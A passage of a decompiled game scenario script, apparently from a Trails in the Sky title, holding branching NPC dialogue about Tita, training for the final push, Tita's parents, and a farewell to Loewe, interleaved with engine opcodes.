Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_6882")
ChrTalk( #152
0x1D,
(
"#551FThe hell kinda question is that? I'm not her dad.\x02\x03",
"#053F...Besides, she's not a little kid.\x02\x03",
"She knows what she needs to do without me\x01",
"telling her or breathin' over her neck.\x02",
)
)
CloseMessageWindow()
Jump("loc_68F9")
label("loc_6882")
ChrTalk( #153
0x1D,
(
"#551FThe hell kinda question is that? I'm not her dad.\x02\x03",
"#051FBesides, she's with her friend right now. It's fine.\x02",
)
)
CloseMessageWindow()
label("loc_68F9")
ChrTalk( #154
0x101,
"#1028FOh-hooo...\x02",
)
CloseMessageWindow()
ChrTalk( #155
0x1D,
"#555F...What? You got a problem?\x02",
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_69C6")
ChrTalk( #156
0x104,
(
"#1541FThere's no need to be so flustered, dearest. ㈱\x01",
"Your feelings are nothing to be ashamed of.\x02",
)
)
CloseMessageWindow()
OP_62(0xFE, 0x0, 2000, 0xC, 0xD, 0xFA, 0x2)
OP_22(0x31, 0x0, 0x64)
Sleep(1000)
label("loc_69C6")
Jump("loc_6DBB")
label("loc_69C9")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_6C47")
OP_51(0x10F, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x10F, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_6A72")
Jump("loc_6AB4")
label("loc_6A72")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_6A8E")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_6AB4")
label("loc_6A8E")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_6AAA")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_6AB4")
label("loc_6AAA")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_6AB4")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x10F, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x10F, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #157
0x10F,
(
"#1936FUmm...\x02\x03",
"#1938FYou do know Tita is over there at the moment,\x01",
"don't you?\x02",
)
)
CloseMessageWindow()
ChrTalk( #158
0x1D,
(
"#052FYeah, sure...\x02\x03",
"#051FWhy're you asking?\x02",
)
)
CloseMessageWindow()
ChrTalk( #159
0x10F,
(
"#1938FWell, it's just that you always seemed\x01",
"to be with her...\x02\x03",
"#1937FI thought you may have been wondering\x01",
"where she was.\x02",
)
)
CloseMessageWindow()
ChrTalk( #160
0x1D,
(
"#055FI ain't some chick separated from its\x01",
"mother hen, you know!\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_6C44")
ChrTalk( #161
0x110,
"#261FTeehee...\x02",
)
CloseMessageWindow()
label("loc_6C44")
Jump("loc_6DBB")
label("loc_6C47")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_6CD7")
Jump("loc_6D19")
label("loc_6CD7")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_6CF3")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_6D19")
label("loc_6CF3")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_6D0F")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_6D19")
label("loc_6D0F")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_6D19")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #162
0x1D,
(
"#053FSounds like this is it. The end's finally in sight.\x02\x03",
"#051FBetter train myself up as best I can--I'm gonna\x01",
"need it.\x02",
)
)
CloseMessageWindow()
label("loc_6DBB")
OP_A2(0x5)
Jump("loc_7350")
label("loc_6DC1")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_6FBA")
OP_51(0x101, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x101, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_6E6A")
Jump("loc_6EAC")
label("loc_6E6A")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_6E86")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_6EAC")
label("loc_6E86")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_6EA2")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_6EAC")
label("loc_6EA2")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_6EAC")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x101, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x101, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #163
0x1D,
(
"#053FShe's not a kid anymore, so I'm sure she'll be\x01",
"fine without me.\x02\x03",
"#051FIf she needs me, I'm always there, but I know\x01",
"she can otherwise handle herself.\x02",
)
)
CloseMessageWindow()
ChrTalk( #164
0x101,
"#1028FOh, my... ☆\x02",
)
CloseMessageWindow()
ChrTalk( #165
0x1D,
"#055FWhat's with that starry-eyed look?!\x02",
)
CloseMessageWindow()
Jump("loc_7350")
label("loc_6FBA")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_71BE")
OP_51(0x10F, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x10F, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_7063")
Jump("loc_70A5")
label("loc_7063")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_707F")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_70A5")
label("loc_707F")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_709B")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_70A5")
label("loc_709B")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_70A5")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x10F, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x10F, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #166
0x1D,
(
"#551FWe're not always with one another! We just happen\x01",
"to be together sometimes.\x02\x03",
"#051FBesides, she's not a kid anymore. She doesn't need\x01",
"me looking after her every second of the day.\x02",
)
)
CloseMessageWindow()
ChrTalk( #167
0x10F,
"#1930F...\x02",
)
CloseMessageWindow()
ChrTalk( #168
0x1D,
"#055FWh-What's with that look?!\x02",
)
CloseMessageWindow()
Jump("loc_7350")
label("loc_71BE")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_724E")
Jump("loc_7290")
label("loc_724E")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_726A")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_7290")
label("loc_726A")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_7286")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_7290")
label("loc_7286")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_7290")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #169
0x1D,
(
"#050FFrom here on, we ain't gonna have time for standin'\x01",
"still. We've gotta push on, on, and on.\x02\x03",
"#051FSo make sure you train up while you can, okay?\x02",
)
)
CloseMessageWindow()
label("loc_7350")
SetChrSubChip(0xFE, 0)
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_735D")
Return()
# Function_7_6654 end
def Function_8_735E(): pass
label("Function_8_735E")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x584, 0)), scpexpr(EXPR_END)), "loc_7799")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 0)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_7740")
ChrTalk( #170
0x12,
(
"#060FWith the Arseille's speed, I don't think it'll take long\x01",
"at all for us to break out of the planes.\x02\x03",
"#067FMom was actually able to raise its top speed with a\x01",
"few improvements the other month, too, so that'll\x01",
"be a huge help.\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_7592")
ChrTalk( #171
0x101,
(
"#1001FHuh. Really?\x02\x03",
"#1006FI hope I can meet your mom someday.\x02",
)
)
CloseMessageWindow()
ChrTalk( #172
0x12,
(
"#067FHeehee... I'd love you to meet her, too!\x02\x03",
"#560FI'll have to introduce you to both my parents one day.\x01",
"I know they've been looking forward to meeting you\x01",
"and Joshua!\x02\x03",
"#061FCome over any time when you get back to Liberl!\x02",
)
)
CloseMessageWindow()
Jump("loc_773A")
label("loc_7592")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_768C")
ChrTalk( #173
0x102,
(
"#1504FTheir names were, uh...\x02\x03",
"#1500F...Dan and Erika, right?\x02",
)
)
CloseMessageWindow()
ChrTalk( #174
0x12,
(
"#067FYup. That's right.\x02\x03",
"#560FThe two of them have been really looking forward\x01",
"to meeting you and Estelle.\x02\x03",
"#061FCome over any time when you get back to Liberl!\x02",
)
)
CloseMessageWindow()
Jump("loc_773A")
label("loc_768C")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x5)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_773A")
ChrTalk( #175
0x106,
(
"#552F(Oh, I'd forgotten about her messing around with\x01",
"it before.)\x02\x03",
"#551F(...I just remember being hit by a flying spanner\x01",
"when she was.)\x02",
)
)
CloseMessageWindow()
ChrTalk( #176
0x12,
"#565F...Hmm?\x02",
)
CloseMessageWindow()
label("loc_773A")
OP_A2(0x0)
Jump("loc_7793")
label("loc_7740")
ChrTalk( #177
0x12,
(
"#062FR-Right!\x02\x03",
"If I wanna get back to Mom and Dad,\x01",
"I've gotta give it my all!\x02",
)
)
CloseMessageWindow()
label("loc_7793")
TalkEnd(0xFE)
Jump("loc_955D")
label("loc_7799")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 3)), scpexpr(EXPR_END)), "loc_80D8")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_7E0B")
SetChrFlags(0x12, 0x10)
SetChrFlags(0x11, 0x10)
TalkBegin(0x12)
OP_4A(0x1B, 255)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x9)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_77F3")
ChrTalk( #178
0x1B,
"#1314F...Oh, I see.\x02",
)
CloseMessageWindow()
Jump("loc_7808")
label("loc_77F3")
ChrTalk( #179
0x11,
"#1445FReally...\x02",
)
CloseMessageWindow()
label("loc_7808")
ChrTalk( #180
0x12,
(
"#060F...Yeah.\x02\x03",
"#563FI only know part of the story...\x02\x03",
"...but I think Loewe must've always wanted\x01",
"a chance to properly say goodbye to Joshua,\x01",
"too.\x02\x03",
"I'm happy he was finally given that chance.\x02\x03",
"And that Joshua was able to say a proper\x01",
"goodbye to him, too.\x02\x03",
"#066FI'm sure Joshua's just as happy in his own way.\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x9)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_7968")
ChrTalk( #181
0x1B,
"#816FYeah. Me, too.\x02",
)
CloseMessageWindow()
label("loc_7968")
ChrTalk( #182
0x11,
"#1448F...Indeed.\x02",
)
CloseMessageWindow()
Sleep(300)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_7C35")
OP_51(0x110, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x11, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x11)
ClearChrFlags(0x11, 0x10)
TurnDirection(0x11, 0x110, 0)
OP_51(0x11, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x11, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x11, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x11, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
